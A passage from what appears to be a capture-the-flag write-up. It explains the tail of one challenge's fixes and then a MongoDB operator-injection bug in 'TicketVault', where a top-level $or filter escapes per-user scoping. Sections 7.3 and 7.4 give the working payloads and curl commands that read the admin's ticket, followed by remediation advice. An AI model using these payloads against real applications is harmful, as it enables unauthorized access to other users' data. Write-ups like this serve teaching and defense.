theme,notifications) or store settings inObject.create(null)/ aMap. - Don’t pass user-controlled values into EJS
include()or options, and keep EJS at 3.1.7 or later. - The WAF is a band-aid that body size defeats. Fix the root cause rather than matching token strings.
- Hash passwords (bcrypt/argon2). The app stores and compares them in plaintext.
7. TicketVault: NoSQL Operator Injection → IDOR
Category: Web Target: http://169.58.126.107:3001 Bug class: NoSQL operator injection → authorization bypass (IDOR) Flag: CTF{...} (admin ticket; the tested instance returned CTF{placeholder_flag_change_me})
7.1 Challenge
TicketVault is an internal support portal where each user should only see their own tickets. The admin account holds a post-mortem ticket that regular users must not read. The goal is to read it.
7.2 Recon
server.js (Express 4.18.2, MongoDB driver 5.7.0, EJS 3.1.9) exposes register/login and three ticket routes:
1
2
3
4
5
6
7
8
9
10
app.get('/tickets', requireAuth, async (req, res) => {
const tickets = await db.collection('tickets').find({ owner: req.session.username }).toArray();
...
});
app.get('/tickets/search', requireAuth, async (req, res) => {
const filter = buildScopedFilter(req);
const tickets = await db.collection('tickets').find(filter).toArray();
...
});
GET /ticketslists only the current user’s tickets.GET /tickets/searchbuilds its query withbuildScopedFilter(req)and runs it directly.
The search page has a normal q= box and an “Advanced filter (JSON, power users)” field sent as filter=. That JSON is parsed and passed to MongoDB.
buildScopedFilter (utils/ticketFilter.js) was not included in the handout, so its behaviour was worked out by probing the live server.
7.3 The vulnerability
The helper merges the caller’s JSON filter with an owner = <you> restriction, but a top-level $or escapes that restriction.
A plain object filter stays scoped:
1
2
filter={"owner":"admin"} → only my tickets
filter={"owner":{"$ne":null}} → only my tickets
Wrapping the condition in a top-level $or drops the owner restriction:
1
2
filter={"$or":[{"owner":{"$ne":null}}]} → ALL tickets
filter={"$or":[{"owner":"admin"}]} → admin's tickets
Untrusted input reaches the MongoDB query as operators rather than data, so the attacker can rewrite the query logic and bypass the per-user authorization filter.
7.4 Exploitation
1
2
3
4
5
6
7
8
T=http://169.58.126.107:3001
# 1. Register any account (self-service)
curl -s -c c.txt -d "username=anyuser&password=pw" "$T/register" -o /dev/null
# 2. Read the admin's tickets through the $or bypass
curl -s -b c.txt -G "$T/tickets/search" \
--data-urlencode 'filter={"$or":[{"owner":"admin"}]}'
The admin post-mortem ticket comes back:
1
2
3
Owner: admin
Subject: Root cause analysis - incident 2024-03
Content: Postmortem notes for the March incident. Access recovery token: CTF{...}
On the instance tested, the stored token was CTF{placeholder_flag_change_me}, meaning the instance was running with the default placeholder instead of a real flag. The exploit is correct: on a properly seeded instance, the same two requests return the real flag. The admin has only this one ticket, and it has no extra hidden fields.
7.5 Fix
- Don’t accept raw query objects from the client. Treat
filteras data: match specific fields with string values only, and reject or strip any key starting with$. - Apply the ownership restriction with
$andso it cannot be escaped, for example{ $and: [ { owner: req.session.username }, userFilter ] }after sanitizinguserFilter. - Prefer a fixed server-side query shape (search only
subject/contentwith a bound regex) over a general JSON filter.
